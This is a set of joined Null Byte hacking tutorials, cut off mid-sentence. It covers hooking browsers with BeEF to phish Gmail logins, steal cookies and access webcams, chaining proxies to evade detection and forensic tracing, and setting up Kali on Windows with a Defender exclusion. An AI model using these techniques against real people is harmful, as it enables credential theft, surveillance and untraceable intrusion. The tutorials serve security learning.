to Become a Null Byte Contributor (1/29/2012)Farewell Byte:Goodbye Alex, Welcome AllenHow To:A Guide to Steganography, Part 1: How to Hide Secret Messages in ImagesHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxNull Byte:Never Let Us DieWeekend Homework:How to Become a Null Byte Contributor (1/12/2012)How To:Get Free Wi-Fi from Hotels & MoreHow To:Fix the Unreadable USB Glitch in VirtualBoxWeekend Homework:How to Become a Null Byte ContributorWeekend Homework:How to Become a Null Byte Contributor (2/3/2012)Skyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)News:Null CommunityHow To:Things to Do on WonderHowTo (01/18 - 01/24)How To:Install Linux to a Thumb Drive
Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & More « Null Byte :: WonderHowTo
People use browsers for all types of things, and in general, we trust a lot of personal information to them. That's why browsers are a perfect attack surface for a hacker, because the target may not even know they are infected and feed you all of the information you could want.To do this, you need to first trick the user into clicking a link. To generate the link, you can use a tool calledBeEF, which used to be preinstalled onKali Linux.Similar toMetasploit, BeEF, which stands for Browser Exploitation Framework, is a framework for launching attacks. Unlike with Metasploit, it's specific to launching attacks against web browsers. In some cases, we could use BeEF in conjunction with Metasploit to start more advanced attack scenarios.Don't Miss:Catch an Internet Catfish with Grabify Tracking LinksThe tool was developed by a group of developers led byWade Alcorn. Built on the familiar Ruby on Rails platform, BeEF was designed to explore the vulnerabilities in browsers and test them. In particular, BeEF is an excellent platform for testing a browser's vulnerability to cross-site scripting (XSS) and other injection attacks.BeEF can generate a link that can track the target and even run modules to both escalate permissions and gather more information about the person behind the computer. It can even scan behind the network the person's on, which is pretty impressive since you can take pictures with their webcam, see what they're typing, and launch phishing pages to try and get credentials.Step 1: Install BeEFBeEF is built right into Kali Linux 2019.2 and older, so you shouldn't have to install anything if you're running one of those versions on your computer.In mid-2019, KaliremovedBeEF as a preinstalled exploitation tool, moving it from "kali-linux-default" to the "kali-linux-large" metapackage. That means that if you installed a fresh version of Kali, you would no longer have BeEF, though, you may retain it if you simply updated your older version of Kali to 2019.3 or higher.If you already have it, use the following command to update everything. And if you don't have it, the same command will install it. Just make sure to usebeef-xssand not "beef" because the latter is a programming language interpreter, which is different. (We made that mistake in our video above, so don't do the same.)~$ sudo apt install beef-xssWhether you had it preinstalled from before or had to install it, the rest is the same.Step 2: Open the BeEF ServiceOnce BeEF is installed, you can find it under Applications –> System Services, then click on "beef start." It will open a terminal window to start the service.If you don't see any beef-related tools in that folder, or if you don't see that folder at all, you may have installed "beef" and not "beef-xss" so make sure to do the latter. (You can also start BeEF from the Exploitation Tools folder where it's "beef xss framework.)> Executing “sudo beef-xss” [sudo] password for kali: [-] You are using the Default credentials [-] (Password must be different from "beef") [-] Please type a new password for the beef user: [*] Please wait for the BeEF service to start. [*] [*] You might need to refresh your browser once it opens. [*] [*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src="http://<IP>:3000/hook.js"></script> [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script> ● beef-xss.service - LSB: BeEF Loaded: loaded (/etc/init.d/beef-xss; generated) Active: active (running) since Fri 2020-05-08 12:51:38 EDT; 5s ago Docs: man:systemd-sysv-generator(8) Process: 1432 ExecStart+/etc/init.d/beef-xss start (code=excited, status=0/SUCCESS) Tasks: 10 (limit: 6715) Memory: 140.8M CGroup: /system.slice/beef-xss.service └─1438 ruby /usr/share/beef-xss/beef May 08 12:51:42 kali beef[1]: Starting LSB: BeEF... May 08 12:51:42 kali beef[1]: Started LSB: BeEF. [*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...If you run into errors where your browser fails to load, you can bypass the issue by opening up your preferred web browser, like Firefox or Chrome, and going to the following URL, which is for the localhost (127.0.0.1) web server at port 3000.http://127.0.0.1:3000/ui/panelStep 3: Log in to the BeEF ServiceOnce the browser interface opens, you'll need to log in to the BeEF service. The default credentials arebeeffor the username andbeeffor the password. However, you may have been prompted to create a password for your beef session (as seen above), and in that case, you would usebeefas the username and whatever password you chose.After logging in successfully, you should see the "Getting Started" page with information about how BeEF works. On the left, there's theHooked Browserscolumn, which is where all the browsers you control will end up.Step 4: Hook the Target BrowserThe key to success with BeEF is to "hook" a browser. This basically means that we need the target to visit a vulnerable web app with the "hook.js" JavaScript file. To practice, BeEF provides a webpage for your localhost with the payload in it, so visit that to see how it works.http://127.0.0.1:3000/demos/basic.htmlThe injected code in the hooked browser responds to commands from the BeEF server that we control. From there, we can do many mischievous things on the target's computer.Step 5: View the Browser DetailsI've got a few hooked browsers, but I'm going to look at the Chrome one. Click on your hooked browser, and it will jump you to the "Details" tab, which provides information about the hooked browser. Mine shows up as Chrome in the values.This tab will show you a lot more than that. For me, I see that the platform is Linux x86_64; that it has the Chrome PDF Plugin, Chrome PDF Viewer, and Native Client plugins; the components include webgl, webrtc, and websocket; and other interesting information.Step 6: Execute Commands in the BrowserNow that we have hooked the target's browser, we can execute some of the built-in modules from the "Commands" tab.There are over 300 modules, from browser hacks to social engineering, including, but certainly not limited to:Get Visited Domains (browser)Get Visited URLs (browser)Webcam (browser)Get All Cookies (extension)Grab Google Contacts (extension)Screenshot (extension)Steal Autocomplete (social engineering)Google Phishing (social engineering)When you find a module you want to use, select it, then click "Execute" under its description. As an example, I'm going to use the "Google Phishing" module in the "Social Engineering" folder.After executing it, a fake Gmail login page will appear in the hooked browser. The user may not think twice about inserting their username and password, and once they do, we log it. Afterward, they are directed back to Google's site as if they logged in regularly.To find the username and password we logged, just click on the command in theModule Results Historycolumn. For me, I see "hfhfhf" as the user and "sdliasdflihasdflh" as the password. You can also view this information from the "Logs" tab.Don't Miss:Phish for Social Media & Other Account Passwords with BlackEyeIf we wanted to, we could customize the URL that the Google Phishing module uses, in case you want to use something more believable than the old-style Gmail interface.Once we have the browser hooked, there are almost unlimited possibilities of what we can do. You could even leverage BeEF for operating system attacks. For more examples of what BeEF can help you accomplish, such as gaining access to the webcam and monitoring keystrokes, check out ourCyber Weapons Labvideo above.BeEF Is a Powerful Web Browser Attack ToolBeEF is an extraordinary and powerful tool for exploiting web browsers, and it's a terrifying example of why you should never click on suspicious links. Even if things look fine, you should be really careful with anything that pops up in your browser for permission to access your webcam or audio or that needs you to enter in account credentials.Don't Miss:Track a Target Using Canary Token Tracking LinksWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Justin Meyers/Null ByteRelatedHack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookHow To:Take Pictures Through a Victim's Webcam with BeEFHow To:Phish Social Media Sites with SocialFishHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Got Beef? Getting Started with BeEFHow To:Hack web browsers with BeEFHow To:Hook Web Browsers with MITMf and BeEFHack Like a Pro:How to Hack Facebook (Same-Origin Policy)News:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyExploiting XSS with BeEF:Part 2How To:Find Vulnerable Webcams Across the Globe Using ShodanHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Use beEF (Browser Exploitation Framework)How To:Use WhatsApp on Your Mac (A Guide for Both Android & iPhone Users)How To:Import, Transfer, & Password-Protect Photos & Videos on Your iPhoneHow To:Use the Internet Explorer 7 phishing filterSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Reveal Saved Browser Passwords with JavaScript InjectionsNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxLockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:In Just a Clik, Turn Your Smartphone into a YouTube Remote for Any Web DisplayGHOST PHISHER:Security Auditing ToolNews:Kinect as a web browser controllerAtomic Web:The BEST Web Browser for iOS DevicesHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItNews:3 Unique Alternative Web Browsers for Your iOS Device
How to Run Kali Linux as a Windows Subsystem « Null Byte :: WonderHowTo
Kali Linuxis known as being the de facto penetration-testing Linux distribution but can be a pain to use as an everyday OS — even more of a pain if that means carrying around a second laptop or the constant frustration of using the finicky Wi-Fi on virtual machines. But there's another option: installing a Kali subsystem on your Windows computer as a convenient compromise.Microsoft has introducedWindows Subsystem for Linux, or WSL, which lets users run their favorite Linux distributions directly from Windows 10 without dual-booting or using a virtual machine. Thanks to the efforts of Offensive Security and the WSL team at Microsoft, Kali Linux is now the most recent addition to the Microsoft Store.Don't Miss:How to Create a Virtual Hacking LabThose familiar withrunning Kali virtual machinesunderstand the frustration of attempting to use Wi-Fi andWi-Fi adapters, which is what makes the Windows subsystem so nice — you have no such problems. Additionally, you have the full performance capability of your PC without having to partition it as you would with a virtual system. And, unlike a dual-boot setup, you don't have to restart the system and boot into a new OS anytime you want to use it. It's as simple as opening a shell.Limitations of Kali as a Windows Subsystem for LinuxWhile this is definitely a step in the right direction for Microsoft, it's not quite there yet in terms of full functionality. Specifically, WSL does not support AF_PACKET, and that's because Windows itself does not support it because of security restrictions. This means that you won't be able to put aWi-Fi adapterin promiscuous mode (or monitor mode), and tools that require raw sockets to function properly won't work, such asNmap. To make this possible, head over tothe reported issue on GitHubto let them know how many people want this.Enough talk, let's install the Kali Linux subsystem and see what it can do!Step 1: Install the Windows Subsystem for LinuxFirst, runPowerShellas the administrator by pressingWindows+Xand clicking on "Windows PowerShell (Admin)." Then enable this optional Windows feature by running the following command.Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-LinuxOnce you pressEnter, a loading bar will appear for a few seconds, then you will be prompted to restart the computer. PressYandEnterto reboot. The system will immediately begin to restart.Step 2: Download the 'Kali Linux' ApplicationOnce your system has rebooted and you've logged back into your account, navigate to the Microsoft Store by searching for it in theCortana search barin the bottom-left corner of your screen. Once there, search for "Kali Linux" or simply follow the link below to open the Kali page in the Microsoft Store. From there, click "Get" to begin installing.Install Kali Linux from the Microsoft Store for Windows 10Other ubiquitous Linux distributions, such asUbuntu, are also available so you may want to spend a few minutes looking around the Microsoft Store before you leave.Step 3: Launch Kali for the First TimeBefore you launch the "Kali Linux" app for the first time, I recommend clicking "Pin to Start" or, better yet, click the ellipsis (...) just to the right of it and then "Pin to Taskbar" to make it quick and simple to launch Kali in the future.Once you've done that, click "Launch," and a shell will open and begin the final installation which can take a few minutes.With that done, you'll be prompted to create a Unix username and password. Congratulations, you're all set up and running a Kali Linux subsystem on your Windows machine! Don't forget to update it regularly just like any Linux system:sudo apt-get updatesudo apt-get dist-upgradeIf hard drive space is a concern, then don't forget to clean up the apt directory.sudo apt-get cleanStep 4: Add Windows Defender ExclusionUnfortunately, Windows Defender doesn't always like to play nice with the tools in the Kali repository. Sometimes, it detects them as viruses and/or malware and blocks some portion of the program. To prevent these errors, it's a good idea to go ahead and add a Windows Defender exclusion for the Kali Linux folder.First, find that folder by opening File Explorer and entering the following location in the address bar. Don't forget to replace "yourusername" with your actual username!C:\Users\yourusername\AppData\Local\Packages\Now, open the Kali Linux folder which should look something like "KaliLinux.54290C8133FEE_," and copy the folder location.With that in hand, search for "Windows Defender Security Center" in the Cortana search bar the bottom left of the screen. Within the Security Center, click on "Virus & threat protection" represented by a shield on the menu to the left side of the screen.Next, click on the cog in the bottom, then "Virus & threat protection settings," then scroll down to the bottom underExclusionsand click "Add or remove exclusions." Then press the plus icon beside "Add an exclusion," select "Folder," and then paste the Kali folder address in the top bar. Click "Select folder," and a popup will appear — click "Yes" to add the exclusion.If you ever want to remove this exclusion, simply click on the down arrow beside the folder location, and click "Remove."Step 5: Install Penetration Testing ToolsWith the Windows Defender exclusion in place, you're ready to get started with your ethical hacking. Not much comes preinstalled in this version, so installtools you wish to usefrom the Kali repository as you normally would with theapt-getcommand. For example, to installMetasploit:sudo apt-get updatesudo apt-get install metasploit-frameworkThanks for reading! If you have any questions on setting up or using your new Kali Linux subsystem on Windows 10, or on what tools you should be installing, ask away in the comments below or hit me up on Twitter@The_Hoid.Don't Miss:How to Compile a New Hacking Tool in Kali LinuxFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Hoid/Null ByteRelatedHow To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Install & Lock Down Kali Linux for Safe Desktop UseHow To:Run Windows from Inside LinuxHow To:Use Cygwin to Run Linux Apps on Windows
Hacking Web Apps « Null Byte :: WonderHowTo
No content found.
Hack Like a Pro: How to Evade Detection Using Proxychains « Null Byte :: WonderHowTo
Welcome back, my novice hackers!The worst thing that can happen to any hacker is being detected by a security admin, the security technologies (IDS, firewall, etc.), or a forensic investigator.Every time we send a packet to our intended target, that packet contains our IP address in the IP header. When we make a TCP connection, the target system will log our IP address as it logs all connections. If we set off any security alarms or alerts, our IP address will be logged. All of these events increase the possibility of detection.In order to hack anonymously with the least chance of detection, we need to use an intermediary machine whose IP address will be left on the target system. This can be done by using proxies.These systems are designed to accept our traffic and then forward it on to the intended target. Of course, the proxy will likely log our traffic, but an investigator would have to get a subpoena or search warrant to obtain the logs.If we string multiple proxies in a chain, we make it harder and harder to detect our original IP address. If one of those proxies is outside the jurisdiction of the victim, it makes it very unlikely that any traffic can be attributed to our IP address.BothKaliandBackTrackhave an excellent tool for proxying our traffic calledproxychains. In this tutorial, I will show how to use this simple, but powerful tool.Step 1: Find ProxychainsLet's start by finding proxychains. Type:kali > locate proxychainsAs we can see in the screenshot below, proxychains is in the/usr/bindirectory. Since/usr/binis in our PATH variable, we can use it from any directory. This is just as we would want since we use proxychains with other commands, which may NOT likely be in the PATH variable.Step 2: Proxychains SyntaxThe syntax for the proxycahins command is simple and straightforward.kali> proxychains <the command you want proxied> <any arguments>So, if I wanted to use proxychains to scan a site withnmapanonymously, I could type:kali> proxychains nmap -sS <IP address>Step 3: Set Up the Config FileLike nearly every application inLinux/Unix, configuration is managed by a simple text file called theconfig file. In the case of proxychains, this file is/etc/proxychains.conf. We can open it in leafpad or any other text editor (vi, emacs, gedit, kwrite, etc.), by typing:kali > leafpad /etc/proxychains.confWhen we do so, we will see a file like that displayed below. If we scroll down this file a bit, we will see a section that I have highlighted labeled "add proxy list here...".To get proxychains to use intermediary proxies, we simply need to add the IP addresses of the proxies we want to use here. It's important to note that proxychains defaults to useTor.Notice the last line in the screenshot above. It directs proxychains to send the traffic first through our host at 127.0.0.1 on port 9050 (the default Tor configuration). If you are using Tor, leaves this as it is. If you are not using Tor, you will need to comment out this line.As much as I like Tor, it is very slow and we now know thatthe NSA has broken Tor, so I am much less likely to depend upon it for anonymity.Step 4: Let's Test ItNow that we have put a proxy between us and any traffic we send, let's test it out. In this case, I am simply going to do annmapscan towonderhowto.comanonymously by sending the scan through a proxy. The command would be as follows:kali > proxychains nmap -sS 8.26.65.101As you can see in the screenshot above, I have successfully scannedwonderhowto.comthrough my chosen proxy and returned the results back to me. In this way, it appears that my proxy scannedwonderhowto.comand not my IP address.Some More Interesting OptionsNow that we have proxychains working, let's look at some options that we can configure through theproxychains.conf. As we now have it set up, we are simply using a single proxy. We can put in numerous proxies and use all of them, we can use a limited number from the list, or we can have proxychains change the order randomly. Let's try all of those options.Step 5: Add More ProxiesFirst, let's add some more proxies to our list. Open/etc/proxychains.configand add more proxy IPs like I've done below.Step 6: ProxychainingNow that we have multiple IPs in ourproxychain.confwe can set up dynamic chaining. Dynamic chaining will enable us to run our traffic through every proxy on our list, and if one of the proxies is down or not responding, it will automatically go to the next proxy in the list without throwing an error.To do so, let's first open the proxychains configuration file again.With this file open, uncomment out the "dynamic_chains" line. This will enable dynamic chaining of our proxies allowing for greater anonymity and trouble-free hacking.Step 7: Random ChainingFinally, we can also use "random chaining". With this option, proxychains will randomly choose IP addresses from our list and use them for creating our proxychain. This means that each time we use proxychains, the chain of proxy will look different to the target, making it harder to track our traffic from its source.To do so, open the/etc/proxychains.conffile and comment out "dynamic chains" and uncomment "random chain". Since we can only use one of these options at a time, make certain that you comment out the other options in this section before using proxychains.In addition; you may want to uncomment the line with "chain_len". This will determine how many of the IP addresses in your chain will be used in creating your random proxy chain.Now that you know how to use proxychains, you can do your hacking with relative anonymity. I say relative, because there is no surefire way to remain anonymous with the NSA spying on all our activity. All we can do is make detection MUCH harder, and proxychains can help do this for us.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage credits:Glove and keyboardandIP fingerprintingvia ShutterstockRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:How to Evade a Network Intrusion Detection System (NIDS) Using SnortThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHacking macOS:How to Create an Undetectable PayloadNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:Disable Scene Detection for More Control Over Photo Shoots on Your iPhone 12, 12 Mini, 12 Pro, or 12 Pro MaxHack Like a Pro:How to Evade AV Software with ShellterNews:What to Expect from Null Byte in 2015Hack Like a Pro:How to Evade AV Detection with Veil-EvasionHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionSQL Injection 101:How to Avoid Detection & Bypass DefensesHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1How To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebLevitation Challenge:Evading ArrestNews:Amazing 3D Object DetectionNews:Minority Report, Kinect-styleHow To:The Official Google+ Insider's Guide Index
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 7 (Managing Permissions) « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!I've been writingthese Linux tutorialsin an attempt to fill the void in the education of some aspiring hackers into the Linux operating system. There is a lot to know, and in this tutorial, we'll look at Linux file permissions.Step 1: Checking PermissionsWhen we want to find the permissions on a file, we can simply use thelscommand with the-lorlong switch. Let's use that command in thepentest/wireless/aircrack-ngdirectory and see what it tells us about the files there.If we look at each line, we can see quite a bit of info on the file including whether it's a file or directory, the permissions on the file, the number of links, the owner of the file, the group owner of the file, the size of the file, when it was created or modified, and finally, the name of the file. Let's examine each of these.Identifying a File or DirectoryThe very first character of the line tells us whether it's a file or directory. If the line begins with ad, it's a directory. If it begins with a-, it's a file.Identifying the PermissionsThe next section of characters defines the permissions on the file. There are three sets ofrwxthat stands forread,writeandexecute. This determines whether there is the permission to read the file, write to the file, or execute the file. Each set ofrwxrepresents the permissions of the owner, group, and then all others.So, if we look at the second line for the ChangeLog file...We can see that it begins with:-rw-r--r--This means that it's a file (-) where the owner has read (r) and write (w) permissions, but not execute permission (-).The next set of permissions represents those of the group. Here we can see that the group has read permissions (r), but not write (-) or execute permission (-).Finally, the last set of permissions are for all others. We can see that all others have only the read (r) permission on the ChangeLog file.Step 2: Changing PermissionsLet's imagine a case where we wanted the group to be able to both write and execute the ChangeLog file. Linux has a command calledchmodthat allows us to change the permissions on a file as long as we're root or the owner of the file. These permissions are represented by their binary equivalents in the operating system.The NumbersRemember that everything is simply zeros and ones in the underlying operating system, and these permissions are represented by on and off switches in the system. So, if we could imagine the permissions as three on/off switches and these switches are in the base two-number system, the far right switch represents 1 when it's on, the middle switch represents 2 when it's on, and finally, the far left switch represents 4 when on.So, the three permissions look like this when they are all on:r w x4 2 1 = 7If you sum these three, you get seven, right? In Linux, when all the permission switches are on, we can represent it with the decimal numerical equivalent of 7. So, if we wanted to represent that the owner (7) and the group (7) and all users (7) had all permissions, we could represent it as:777Now, lets go back to our ChangeLog file. Remember its permissions? They wererw-r--r--, so we could represent that numerically like:r w - r - - r - -4 2 0 4 0 0 4 0 0This can be represented by644.Changing the Actual Permissions of ChangeLogNow, if we wanted to give the group write (2) and execute (1) privilege, we can use thechmodcommand to do it. We need to add the write (2) privilege and the execute (1) privilege to the ChangeLog file. We do that by:chmod 7 7 4 ChangeLogThis statements says give the owner all permissions (4+2+1=7), the group the same (4+2+1=7). and give everyone else simply read permission (4+0+0=4). When we now do als -l, we can see that the permissions for ChangeLog are now:r w x r w x r - -Simple, right?Step 3: Changing Permissions with UGOAlthough the numeric method is probably the most common method for changing permissions in Linux (every self-respecting Linux guru can use it), there's another method that some people are more comfortable with. It's often referred to as theUGO syntax. UGO stands forU=user or owner,G=group andO=others. UGO has three operators:+foradda permission-forsubtracta permission=toseta permissionSo, if I wanted to subtract the write permission to the group that ChangeLog belongs to, I could write:chmod g-w ChangeLogThis command says "for the group (g) subtract (-) the write (w) permission to ChangeLog."You can see that when I now check file permissions by typingls -l, that the ChangeLog file no longer has write permission for the group.If I wanted to give both the user and group execute permission, I could type:chmod u+x, g+x ChangeLogThis command says "for the user add the execute permission, for the group add the execute permission to the file ChangeLog."Step 4: Giving Ourselves Execute Permission on a New Hacking ToolVery often as a hacker, we'll need to download new hacking tools. After we download, extract, unzip, make, and install them, we'll very often need to give ourselves permission to execute it. If we don't, we will usually get a message that we don't have adequate permission to execute.We can see in the screenshot above that ournewhackertooldoes not have execute permission for anyone.We can give ourselves permission to execute on a newhackertool by writing:chmod 766 newhackertoolAs you now know, this would give us, the owner, all permissions including execute, and the group and everyone else just read and write permissions (4+2=6). You can see in the screenshot above that after running thechmodcommand, that's exactly what we get!In my next Linux tutorial, we will look at managing running processes, so make sure to come back. If you haven't already, make sure to check outthe first six parts of this series, and if you have any questions, ask them in the comments below or in theNull Byte forum.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhotos byJoe Shlabotnik,bazzat2003RelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Finding Potential SUID/SGID Vulnerabilities on Linux & Unix SystemsHack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)How To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsNews:Let Me Introduce Myself
Python Training « Null Byte :: WonderHowTo
No content found.
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 19 (Linking Files) « Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!As you have probably discovered by now, the file system inLinuxis structured differently from Windows. There are no physical drives—just a logical file system tree with root at the top (yes, I know, roots should be at the bottom, but this is an upside-down tree).In addition, filenames are often very long and complex with lots of dashes (-), dots (.), and numbers in their names. This can make typing them difficult for those of us with limited keyboard skills (remember, you can always use the tab key to autocomplete if you are in the right directory).Sometimes we want to simplify the names of a file or we want to link a file in one directory with another in a separate directory. Linux has at least two ways to do this—symbolic (or soft) links and hard links. To understand how these two work and how they are different, we need to delve into some basic background on the Linux file system's internal structure.Linux File StructureWe know that the Linux file system hierarchical structure is different than the Windows hierarchical structure, but from the inside, Linux's ext2 or ext3 file system is very different from Windows NTFS. Linux stores files at a structural level in three main sections:The SuperblockThe Inode TableData BlocksLet's take brief look at each of these.SuperblocksThe superblock is the section that contains the information about the file system, in general. This includes such things as the number of inodes and data blocks as well as how much data is in each file. It's kind of a overseer and housekeeper of the file system.Inode TableThe inode table contains several inodes (information nodes) that describe a file or directory in the file system. Essentally, it is simply a record that describes a file (or directory) with all its critical information such as date created, location, date modified, permissions, and ownership. It does not, however, contain the data in the file.It's important to understand from a forensic perspective that when a file is deleted, only the inode is removed.Data BlocksData blocks are where the data that is in the file is stored, as well as the file name. Now with that understanding, let's introduce two ways of linking files, the hard link and the soft or symbolic link.Hard LinksHard linked files are identical. They have the same size and the same inode. When one hard linked file is modified or changed, it's linked file changes as well. You can hard link a file as many times as you need, but the link cannot cross file systems. They must be on the same file system as they share an inode.Soft or Symbolic LinksSymbolic or soft links are different from hard links in that they do not share the same inode. A symbolic link is simply a pointer to the other file, similar to links in Windows, and they have different file sizes too. Unlike hard links, symbolic links do NOT need to be on the same file system.Step 1: Viewing LinksLet's take a look at what links look like in our filesystem onKali. Let's navigate to the/bindirectory. Remember that the/bindirectory is just below the root of the file system and contains most the commands that we use on a daily basis in Linux.kali> cd /binNow, let's look at the files in the bin directory.kali > ls -lNotice that several files here show an arrow (->) pointing to another file. These aresymbolic links. Also, note how small they are. Each is only 6 bytes. That's because they are only pointers, pointing to another file. The data block of the link simply contains the path to the file it is linked to.When you edit the symbolically linked file, you are actually editing the target file as the symbolic file is only that path to the target file. Hope that makes sense.Step 2: Creating Symbolic LinksNow, let's create some links. Let's start with symbolic links as they are probably the most common on most people's systems. Although symbolic links can be created anywhere, we will be creating them in themetasploit-frameworkdirectory to make starting themsfconsolea touch easier.Move to the/usr/share/metasploit-frameworkdirectory, first.kali > cd /usr/share/metasploit-consoleNow, let's take a look at the this directory..kali > ls -lTo create a symbolic or soft link, we use theln(link) command with the-sswitch (symbolic) and the name of the file we want to link to (the target) and the name of the link we want to create. You can use either relative paths or absolute paths to link the two files.Usually, when we want to enter the Metasploit console, we type msfconsole, remember? Now, let's say we want to change it so that we can simply typemetasploitto enter the console rather having to remember msfconsole. We can link a new file, metasploit, to 